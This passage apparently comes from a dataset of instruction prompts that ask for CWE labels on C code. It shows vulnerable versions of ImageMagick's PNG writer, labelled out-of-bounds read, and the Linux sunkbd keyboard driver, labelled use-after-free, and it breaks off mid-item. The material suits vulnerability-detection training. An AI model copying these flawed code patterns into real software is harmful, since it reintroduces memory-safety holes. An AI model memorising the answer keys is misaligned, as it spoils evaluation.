(ping_need_colortype_warning != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image has transparency but tRNS chunk was excluded\");\n }\n\n if (mng_info->write_png_depth)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:bit-depth=%u, Computed depth=%u\",\n mng_info->write_png_depth,\n ping_bit_depth);\n }\n\n if (mng_info->write_png_colortype)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:color-type=%u, Computed color type=%u\",\n mng_info->write_png_colortype-1,\n ping_color_type);\n }\n }\n\n png_warning(ping,\n \"Cannot write image with defined png:bit-depth or png:color-type.\");\n }\n\n if (image_matte != MagickFalse && image->alpha_trait == UndefinedPixelTrait)\n {\n /* Add an opaque matte channel */\n image->alpha_trait = BlendPixelTrait;\n (void) SetImageAlpha(image,OpaqueAlpha,exception);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Added an opaque matte channel\");\n }\n\n if (number_transparent != 0 || number_semitransparent != 0)\n {\n if (ping_color_type < 4)\n {\n ping_have_tRNS=MagickTrue;\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting ping_have_tRNS=MagickTrue.\");\n }\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing PNG header chunks\");\n\n png_set_IHDR(ping,ping_info,ping_width,ping_height,\n ping_bit_depth,ping_color_type,\n ping_interlace_method,ping_compression_method,\n ping_filter_method);\n\n if (ping_color_type == 3 && ping_have_PLTE != MagickFalse)\n {\n png_set_PLTE(ping,ping_info,palette,number_colors);\n\n if (logging != MagickFalse)\n {\n for (i=0; i< (ssize_t) number_colors; i++)\n {\n if (i < ping_num_trans)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PLTE[%d] = (%d,%d,%d), tRNS[%d] = (%d)\",\n (int) i,\n (int) palette[i].red,\n (int) palette[i].green,\n (int) palette[i].blue,\n (int) i,\n (int) ping_trans_alpha[i]);\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PLTE[%d] = (%d,%d,%d)\",\n (int) i,\n (int) palette[i].red,\n (int) palette[i].green,\n (int) palette[i].blue);\n }\n }\n }\n\n /* Only write the iCCP chunk if we are not writing the sRGB chunk. */\n if (ping_exclude_sRGB != MagickFalse ||\n (!png_get_valid(ping,ping_info,PNG_INFO_sRGB)))\n {\n if ((ping_exclude_tEXt == MagickFalse ||\n ping_exclude_zTXt == MagickFalse) &&\n (ping_exclude_iCCP == MagickFalse || ping_exclude_zCCP == MagickFalse))\n {\n ResetImageProfileIterator(image);\n for (name=GetNextImageProfile(image); name != (char *) NULL; )\n {\n profile=GetImageProfile(image,name);\n\n if (profile != (StringInfo *) NULL)\n {\n#ifdef PNG_WRITE_iCCP_SUPPORTED\n if ((LocaleCompare(name,\"ICC\") == 0) ||\n (LocaleCompare(name,\"ICM\") == 0))\n {\n ping_have_iCCP = MagickTrue;\n if (ping_exclude_iCCP == MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up iCCP chunk\");\n\n png_set_iCCP(ping,ping_info,(png_charp) name,0,\n#if (PNG_LIBPNG_VER < 10500)\n (png_charp) GetStringInfoDatum(profile),\n#else\n (const png_byte *) GetStringInfoDatum(profile),\n#endif\n (png_uint_32) GetStringInfoLength(profile));\n }\n else\n {\n /* Do not write hex-encoded ICC chunk */\n name=GetNextImageProfile(image);\n continue;\n }\n }\n#endif /* WRITE_iCCP */\n\n if (LocaleCompare(name,\"exif\") == 0)\n {\n /* Do not write hex-encoded ICC chunk; we will\n write it later as an eXIf chunk */\n name=GetNextImageProfile(image);\n continue;\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up zTXt chunk with uuencoded %s profile\",\n name);\n Magick_png_write_raw_profile(image_info,ping,ping_info,\n (unsigned char *) name,(unsigned char *) name,\n GetStringInfoDatum(profile),\n (png_uint_32) GetStringInfoLength(profile));\n }\n name=GetNextImageProfile(image);\n }\n }\n }\n\n#if defined(PNG_WRITE_sRGB_SUPPORTED)\n if ((mng_info->have_write_global_srgb == 0) &&\n ping_have_iCCP != MagickTrue &&\n (ping_have_sRGB != MagickFalse ||\n png_get_valid(ping,ping_info,PNG_INFO_sRGB)))\n {\n if (ping_exclude_sRGB == MagickFalse)\n {\n /*\n Note image rendering intent.\n */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up sRGB chunk\");\n\n (void) png_set_sRGB(ping,ping_info,(\n Magick_RenderingIntent_to_PNG_RenderingIntent(\n image->rendering_intent)));\n\n ping_have_sRGB = MagickTrue;\n }\n }\n\n if ((!mng_info->write_mng) || (!png_get_valid(ping,ping_info,PNG_INFO_sRGB)))\n#endif\n {\n if (ping_exclude_gAMA == MagickFalse &&\n ping_have_iCCP == MagickFalse &&\n ping_have_sRGB == MagickFalse &&\n (ping_exclude_sRGB == MagickFalse ||\n (image->gamma < .45 || image->gamma > .46)))\n {\n if ((mng_info->have_write_global_gama == 0) && (image->gamma != 0.0))\n {\n /*\n Note image gamma.\n To do: check for cHRM+gAMA == sRGB, and write sRGB instead.\n */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up gAMA chunk\");\n\n png_set_gAMA(ping,ping_info,image->gamma);\n }\n }\n\n if (ping_exclude_cHRM == MagickFalse && ping_have_sRGB == MagickFalse)\n {\n if ((mng_info->have_write_global_chrm == 0) &&\n (image->chromaticity.red_primary.x != 0.0))\n {\n /*\n Note image chromaticity.\n Note: if cHRM+gAMA == sRGB write sRGB instead.\n */\n PrimaryInfo\n bp,\n gp,\n rp,\n wp;\n\n wp=image->chromaticity.white_point;\n rp=image->chromaticity.red_primary;\n gp=image->chromaticity.green_primary;\n bp=image->chromaticity.blue_primary;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up cHRM chunk\");\n\n png_set_cHRM(ping,ping_info,wp.x,wp.y,rp.x,rp.y,gp.x,gp.y,\n bp.x,bp.y);\n }\n }\n }\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n if (ping_have_bKGD != MagickFalse)\n {\n png_set_bKGD(ping,ping_info,&ping_background);\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background color = (%d,%d,%d)\",\n (int) ping_background.red,\n (int) ping_background.green,\n (int) ping_background.blue);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" index = %d, gray=%d\",\n (int) ping_background.index,\n (int) ping_background.gray);\n }\n }\n }\n\n if (ping_exclude_pHYs == MagickFalse)\n {\n if (ping_have_pHYs != MagickFalse)\n {\n png_set_pHYs(ping,ping_info,\n ping_pHYs_x_resolution,\n ping_pHYs_y_resolution,\n ping_pHYs_unit_type);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up pHYs chunk\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" x_resolution=%lu\",\n (unsigned long) ping_pHYs_x_resolution);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" y_resolution=%lu\",\n (unsigned long) ping_pHYs_y_resolution);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" unit_type=%lu\",\n (unsigned long) ping_pHYs_unit_type);\n }\n }\n }\n\n#if defined(PNG_tIME_SUPPORTED)\n if (ping_exclude_tIME == MagickFalse)\n {\n const char\n *timestamp;\n\n if (image->taint == MagickFalse)\n {\n timestamp=GetImageOption(image_info,\"png:tIME\");\n\n if (timestamp == (const char *) NULL)\n timestamp=GetImageProperty(image,\"png:tIME\",exception);\n }\n\n else\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reset tIME in tainted image\");\n\n timestamp=GetImageProperty(image,\"date:modify\",exception);\n }\n\n if (timestamp != (const char *) NULL)\n write_tIME_chunk(image,ping,ping_info,timestamp,exception);\n }\n#endif\n\n if (mng_info->need_blob != MagickFalse)\n {\n if (OpenBlob(image_info,image,WriteBinaryBlobMode,exception) ==\n MagickFalse)\n png_error(ping,\"WriteBlob Failed\");\n\n ping_have_blob=MagickTrue;\n }\n\n png_write_info_before_PLTE(ping, ping_info);\n\n if (ping_have_tRNS != MagickFalse && ping_color_type < 4)\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Calling png_set_tRNS with num_trans=%d\",ping_num_trans);\n }\n\n if (ping_color_type == 3)\n (void) png_set_tRNS(ping, ping_info,\n ping_trans_alpha,\n ping_num_trans,\n NULL);\n\n else\n {\n (void) png_set_tRNS(ping, ping_info,\n NULL,\n 0,\n &ping_trans_color);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" tRNS color =(%d,%d,%d)\",\n (int) ping_trans_color.red,\n (int) ping_trans_color.green,\n (int) ping_trans_color.blue);\n }\n }\n }\n\n png_write_info(ping,ping_info);\n\n /* write orNT if image->orientation is defined */\n if (image->orientation != UndefinedOrientation)\n {\n unsigned char\n chunk[6];\n (void) WriteBlobMSBULong(image,1L); /* data length=1 */\n PNGType(chunk,mng_orNT);\n LogPNGChunk(logging,mng_orNT,1L);\n /* PNG uses Exif orientation values */\n chunk[4]=Magick_Orientation_to_Exif_Orientation(image->orientation);\n (void) WriteBlob(image,5,chunk);\n (void) WriteBlobMSBULong(image,crc32(0,chunk,5));\n }\n\n ping_wrote_caNv = MagickFalse;\n\n /* write caNv chunk */\n if (ping_exclude_caNv == MagickFalse)\n {\n if ((image->page.width != 0 && image->page.width != image->columns) ||\n (image->page.height != 0 && image->page.height != image->rows) ||\n image->page.x != 0 || image->page.y != 0)\n {\n unsigned char\n chunk[20];\n\n (void) WriteBlobMSBULong(image,16L); /* data length=8 */\n PNGType(chunk,mng_caNv);\n LogPNGChunk(logging,mng_caNv,16L);\n PNGLong(chunk+4,(png_uint_32) image->page.width);\n PNGLong(chunk+8,(png_uint_32) image->page.height);\n PNGsLong(chunk+12,(png_int_32) image->page.x);\n PNGsLong(chunk+16,(png_int_32) image->page.y);\n (void) WriteBlob(image,20,chunk);\n (void) WriteBlobMSBULong(image,crc32(0,chunk,20));\n ping_wrote_caNv = MagickTrue;\n }\n }\n\n#if defined(PNG_oFFs_SUPPORTED)\n if (ping_exclude_oFFs == MagickFalse && ping_wrote_caNv == MagickFalse)\n {\n if (image->page.x || image->page.y)\n {\n png_set_oFFs(ping,ping_info,(png_int_32) image->page.x,\n (png_int_32) image->page.y, 0);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up oFFs chunk with x=%d, y=%d, units=0\",\n (int) image->page.x, (int) image->page.y);\n }\n }\n#endif\n\n#if (PNG_LIBPNG_VER == 10206)\n /* avoid libpng-1.2.6 bug by setting PNG_HAVE_IDAT flag */\n#define PNG_HAVE_IDAT 0x04\n ping->mode |= PNG_HAVE_IDAT;\n#undef PNG_HAVE_IDAT\n#endif\n\n png_set_packing(ping);\n /*\n Allocate memory.\n */\n rowbytes=image->columns;\n if (image_depth > 8)\n rowbytes*=2;\n switch (ping_color_type)\n {\n case PNG_COLOR_TYPE_RGB:\n rowbytes*=3;\n break;\n\n case PNG_COLOR_TYPE_GRAY_ALPHA:\n rowbytes*=2;\n break;\n\n case PNG_COLOR_TYPE_RGBA:\n rowbytes*=4;\n break;\n\n default:\n break;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing PNG image data\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Allocating %.20g bytes of memory for pixels\",(double) rowbytes);\n }\n pixel_info=AcquireVirtualMemory(rowbytes,sizeof(*ping_pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n png_error(ping,\"Allocation of memory for pixels failed\");\n ping_pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n (void) memset(ping_pixels,0,rowbytes*sizeof(*ping_pixels));\n /*\n Initialize image scanlines.\n */\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n png_error(ping,\"Memory allocation for quantum_info failed\");\n quantum_info->format=UndefinedQuantumFormat;\n SetQuantumDepth(image,quantum_info,image_depth);\n (void) SetQuantumEndian(image,quantum_info,MSBEndian);\n num_passes=png_set_interlace_handling(ping);\n\n if ((mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_PALETTE) ||\n ((!mng_info->write_png8 && !mng_info->write_png24 &&\n !mng_info->write_png48 && !mng_info->write_png64 &&\n !mng_info->write_png32) &&\n (mng_info->IsPalette ||\n (image_info->type == BilevelType)) &&\n image_matte == MagickFalse &&\n ping_have_non_bw == MagickFalse))\n {\n /* Palette, Bilevel, or Opaque Monochrome */\n QuantumType\n quantum_type;\n\n register const Quantum\n *p;\n\n quantum_type=RedQuantum;\n if (mng_info->IsPalette)\n {\n quantum_type=GrayQuantum;\n if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_PALETTE)\n quantum_type=IndexQuantum;\n }\n SetQuantumDepth(image,quantum_info,8);\n for (pass=0; pass < num_passes; pass++)\n {\n /*\n Convert PseudoClass image to a PNG monochrome image.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (0)\");\n\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,quantum_type,ping_pixels,exception);\n if (mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_PALETTE)\n for (i=0; i < (ssize_t) image->columns; i++)\n *(ping_pixels+i)=(unsigned char) ((*(ping_pixels+i) > 127) ?\n 255 : 0);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (1)\");\n\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n }\n\n else /* Not Palette, Bilevel, or Opaque Monochrome */\n {\n if ((!mng_info->write_png8 && !mng_info->write_png24 &&\n !mng_info->write_png48 && !mng_info->write_png64 &&\n !mng_info->write_png32) && (image_matte != MagickFalse ||\n (ping_bit_depth >= MAGICKCORE_QUANTUM_DEPTH)) &&\n (mng_info->IsPalette) && ping_have_color == MagickFalse)\n {\n register const Quantum\n *p;\n\n for (pass=0; pass < num_passes; pass++)\n {\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n if (mng_info->IsPalette)\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayQuantum,ping_pixels,exception);\n\n else\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RedQuantum,ping_pixels,exception);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY PNG pixels (2)\");\n }\n\n else /* PNG_COLOR_TYPE_GRAY_ALPHA */\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY_ALPHA PNG pixels (2)\");\n\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayAlphaQuantum,ping_pixels,exception);\n }\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (2)\");\n\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n }\n\n else\n {\n register const Quantum\n *p;\n\n for (pass=0; pass < num_passes; pass++)\n {\n if ((image_depth > 8) ||\n mng_info->write_png24 ||\n mng_info->write_png32 ||\n mng_info->write_png48 ||\n mng_info->write_png64 ||\n (!mng_info->write_png8 && !mng_info->IsPalette))\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1, exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n if (image->storage_class == DirectClass)\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RedQuantum,ping_pixels,exception);\n\n else\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayQuantum,ping_pixels,exception);\n }\n\n else if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA)\n {\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayAlphaQuantum,ping_pixels,\n exception);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY_ALPHA PNG pixels (3)\");\n }\n\n else if (image_matte != MagickFalse)\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RGBAQuantum,ping_pixels,exception);\n\n else\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,RGBQuantum,ping_pixels,exception);\n\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of pixels (3)\");\n\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n\n else\n /* not ((image_depth > 8) ||\n mng_info->write_png24 || mng_info->write_png32 ||\n mng_info->write_png48 || mng_info->write_png64 ||\n (!mng_info->write_png8 && !mng_info->IsPalette))\n */\n {\n if ((ping_color_type != PNG_COLOR_TYPE_GRAY) &&\n (ping_color_type != PNG_COLOR_TYPE_GRAY_ALPHA))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" pass %d, Image Is not GRAY or GRAY_ALPHA\",pass);\n\n SetQuantumDepth(image,quantum_info,8);\n image_depth=8;\n }\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" pass %d, Image Is RGB, 16-bit GRAY, or GRAY_ALPHA\",\n pass);\n\n p=GetVirtualPixels(image,0,y,image->columns,1, exception);\n\n if (p == (const Quantum *) NULL)\n break;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n SetQuantumDepth(image,quantum_info,image->depth);\n\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayQuantum,ping_pixels,exception);\n }\n\n else if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA)\n {\n if (logging != MagickFalse && y == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing GRAY_ALPHA PNG pixels (4)\");\n\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,GrayAlphaQuantum,ping_pixels,\n exception);\n }\n\n else\n {\n (void) ExportQuantumPixels(image,(CacheView *) NULL,\n quantum_info,IndexQuantum,ping_pixels,exception);\n\n if (logging != MagickFalse && y <= 2)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing row of non-gray pixels (4)\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" ping_pixels[0]=%d,ping_pixels[1]=%d\",\n (int)ping_pixels[0],(int)ping_pixels[1]);\n }\n }\n png_write_row(ping,ping_pixels);\n\n status=SetImageProgress(image,SaveImageTag,\n (MagickOffsetType) (pass * image->rows + y),\n num_passes * image->rows);\n\n if (status == MagickFalse)\n break;\n }\n }\n }\n }\n }\n\n if (quantum_info != (QuantumInfo *) NULL)\n quantum_info=DestroyQuantumInfo(quantum_info);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Wrote PNG image data\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Width: %.20g\",(double) ping_width);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Height: %.20g\",(double) ping_height);\n\n if (mng_info->write_png_depth)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:bit-depth: %d\",mng_info->write_png_depth);\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG bit-depth written: %d\",ping_bit_depth);\n\n if (mng_info->write_png_colortype)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:color-type: %d\",mng_info->write_png_colortype-1);\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG color-type written: %d\",ping_color_type);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG Interlace method: %d\",ping_interlace_method);\n }\n /*\n Generate text chunks after IDAT.\n */\n if (ping_exclude_tEXt == MagickFalse || ping_exclude_zTXt == MagickFalse)\n {\n ResetImagePropertyIterator(image);\n property=GetNextImageProperty(image);\n while (property != (const char *) NULL)\n {\n png_textp\n text;\n\n value=GetImageProperty(image,property,exception);\n\n /* Don't write any \"png:\" or \"jpeg:\" properties; those are just for\n * \"identify\" or for passing through to another JPEG\n */\n if ((LocaleNCompare(property,\"png:\",4) != 0 &&\n LocaleNCompare(property,\"jpeg:\",5) != 0) &&\n\n\n /* Suppress density and units if we wrote a pHYs chunk */\n (ping_exclude_pHYs != MagickFalse ||\n LocaleCompare(property,\"density\") != 0 ||\n LocaleCompare(property,\"units\") != 0) &&\n\n /* Suppress the IM-generated Date:create and Date:modify */\n (ping_exclude_date == MagickFalse ||\n LocaleNCompare(property, \"Date:\",5) != 0))\n {\n if (value != (const char *) NULL)\n {\n\n#if PNG_LIBPNG_VER >= 10400\n text=(png_textp) png_malloc(ping,\n (png_alloc_size_t) sizeof(png_text));\n#else\n text=(png_textp) png_malloc(ping,(png_size_t) sizeof(png_text));\n#endif\n text[0].key=(char *) property;\n text[0].text=(char *) value;\n text[0].text_length=strlen(value);\n\n if (ping_exclude_tEXt != MagickFalse)\n text[0].compression=PNG_TEXT_COMPRESSION_zTXt;\n\n else if (ping_exclude_zTXt != MagickFalse)\n text[0].compression=PNG_TEXT_COMPRESSION_NONE;\n\n else\n {\n text[0].compression=image_info->compression == NoCompression ||\n (image_info->compression == UndefinedCompression &&\n text[0].text_length < 128) ? PNG_TEXT_COMPRESSION_NONE :\n PNG_TEXT_COMPRESSION_zTXt ;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up text chunk\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" keyword: '%s'\",text[0].key);\n }\n\n png_set_text(ping,ping_info,text,1);\n png_free(ping,text);\n }\n }\n property=GetNextImageProperty(image);\n }\n }\n\n /* write eXIf profile */\n if (ping_have_eXIf != MagickFalse && ping_exclude_eXIf == MagickFalse)\n {\n ResetImageProfileIterator(image);\n\n for (name=GetNextImageProfile(image); name != (char *) NULL; )\n {\n if (LocaleCompare(name,\"exif\") == 0)\n {\n profile=GetImageProfile(image,name);\n\n if (profile != (StringInfo *) NULL)\n {\n png_uint_32\n length;\n\n unsigned char\n chunk[4],\n *data;\n\n StringInfo\n *ping_profile;\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Have eXIf profile\");\n\n ping_profile=CloneStringInfo(profile);\n data=GetStringInfoDatum(ping_profile),\n length=(png_uint_32) GetStringInfoLength(ping_profile);\n\n PNGType(chunk,mng_eXIf);\n if (length < 7)\n {\n ping_profile=DestroyStringInfo(ping_profile);\n break; /* otherwise crashes */\n }\n\n if (*data == 'E' && *(data+1) == 'x' && *(data+2) == 'i' &&\n *(data+3) == 'f' && *(data+4) == '\\0' && *(data+5) == '\\0')\n {\n /* skip the \"Exif\\0\\0\" JFIF Exif Header ID */\n length -= 6;\n data += 6;\n }\n\n LogPNGChunk(logging,chunk,length);\n (void) WriteBlobMSBULong(image,length);\n (void) WriteBlob(image,4,chunk);\n (void) WriteBlob(image,length,data);\n (void) WriteBlobMSBULong(image,crc32(crc32(0,chunk,4), data,\n (uInt) length));\n ping_profile=DestroyStringInfo(ping_profile);\n break;\n }\n }\n name=GetNextImageProfile(image);\n }\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing PNG end info\");\n\n png_write_end(ping,ping_info);\n\n if (mng_info->need_fram && (int) image->dispose == BackgroundDispose)\n {\n if (mng_info->page.x || mng_info->page.y ||\n (ping_width != mng_info->page.width) ||\n (ping_height != mng_info->page.height))\n {\n unsigned char\n chunk[32];\n\n /*\n Write FRAM 4 with clipping boundaries followed by FRAM 1.\n */\n (void) WriteBlobMSBULong(image,27L); /* data length=27 */\n PNGType(chunk,mng_FRAM);\n LogPNGChunk(logging,mng_FRAM,27L);\n chunk[4]=4;\n chunk[5]=0; /* frame name separator (no name) */\n chunk[6]=1; /* flag for changing delay, for next frame only */\n chunk[7]=0; /* flag for changing frame timeout */\n chunk[8]=1; /* flag for changing frame clipping for next frame */\n chunk[9]=0; /* flag for changing frame sync_id */\n PNGLong(chunk+10,(png_uint_32) (0L)); /* temporary 0 delay */\n chunk[14]=0; /* clipping boundaries delta type */\n PNGLong(chunk+15,(png_uint_32) (mng_info->page.x)); /* left cb */\n PNGLong(chunk+19,\n (png_uint_32) (mng_info->page.x + ping_width));\n PNGLong(chunk+23,(png_uint_32) (mng_info->page.y)); /* top cb */\n PNGLong(chunk+27,\n (png_uint_32) (mng_info->page.y + ping_height));\n (void) WriteBlob(image,31,chunk);\n (void) WriteBlobMSBULong(image,crc32(0,chunk,31));\n mng_info->old_framing_mode=4;\n mng_info->framing_mode=1;\n }\n\n else\n mng_info->framing_mode=3;\n }\n if (mng_info->write_mng && !mng_info->need_fram &&\n ((int) image->dispose == 3))\n png_error(ping, \"Cannot convert GIF with disposal method 3 to MNG-LC\");\n\n /*\n Free PNG resources.\n */\n\n png_destroy_write_struct(&ping,&ping_info);\n\n pixel_info=RelinquishVirtualMemory(pixel_info);\n\n if (ping_have_blob != MagickFalse)\n (void) CloseBlob(image);\n\n image_info=DestroyImageInfo(image_info);\n image=DestroyImage(image);\n\n /* Store bit depth actually written */\n s[0]=(char) ping_bit_depth;\n s[1]='\\0';\n\n (void) SetImageProperty(IMimage,\"png:bit-depth-written\",s,exception);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" exit WriteOnePNGImage()\");\n\n#ifdef IMPNG_SETJMP_NOT_THREAD_SAFE\n UnlockSemaphoreInfo(ping_semaphore);\n#endif\n\n /* } for navigation to beginning of SETJMP-protected block. Revert to\n * Throwing an Exception when an error occurs.\n */\n\n return(MagickTrue);\n/* End write one PNG image */\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1715'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static irqreturn_t sunkbd_interrupt(struct serio *serio,\n\t\tunsigned char data, unsigned int flags)\n{\n\tstruct sunkbd *sunkbd = serio_get_drvdata(serio);\n\n\tif (sunkbd->reset <= -1) {\n\t\t/*\n\t\t * If cp[i] is 0xff, sunkbd->reset will stay -1.\n\t\t * The keyboard sends 0xff 0xff 0xID on powerup.\n\t\t */\n\t\tsunkbd->reset = data;\n\t\twake_up_interruptible(&sunkbd->wait);\n\t\tgoto out;\n\t}\n\n\tif (sunkbd->layout == -1) {\n\t\tsunkbd->layout = data;\n\t\twake_up_interruptible(&sunkbd->wait);\n\t\tgoto out;\n\t}\n\n\tswitch (data) {\n\n\tcase SUNKBD_RET_RESET:\n\t\tschedule_work(&sunkbd->tq);\n\t\tsunkbd->reset = -1;\n\t\tbreak;\n\n\tcase SUNKBD_RET_LAYOUT:\n\t\tsunkbd->layout = -1;\n\t\tbreak;\n\n\tcase SUNKBD_RET_ALLUP: /* All keys released */\n\t\tbreak;\n\n\tdefault:\n\t\tif (!sunkbd->enabled)\n\t\t\tbreak;\n\n\t\tif (sunkbd->keycode[data & SUNKBD_KEY]) {\n\t\t\tinput_report_key(sunkbd->dev,\n\t\t\t\t\t sunkbd->keycode[data & SUNKBD_KEY],\n\t\t\t\t\t !(data & SUNKBD_RELEASE));\n\t\t\tinput_sync(sunkbd->dev);\n\t\t} else {\n\t\t\tprintk(KERN_WARNING\n\t\t\t\t\"sunkbd.c: Unknown key (scancode %#x) %s.\\n\",\n\t\t\t\tdata & SUNKBD_KEY,\n\t\t\t\tdata & SUNKBD_RELEASE ? \"released\" : \"pressed\");\n\t\t}\n\t}\nout:\n\treturn IRQ_HANDLED;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Input: sunkbd - avoid use-after-free 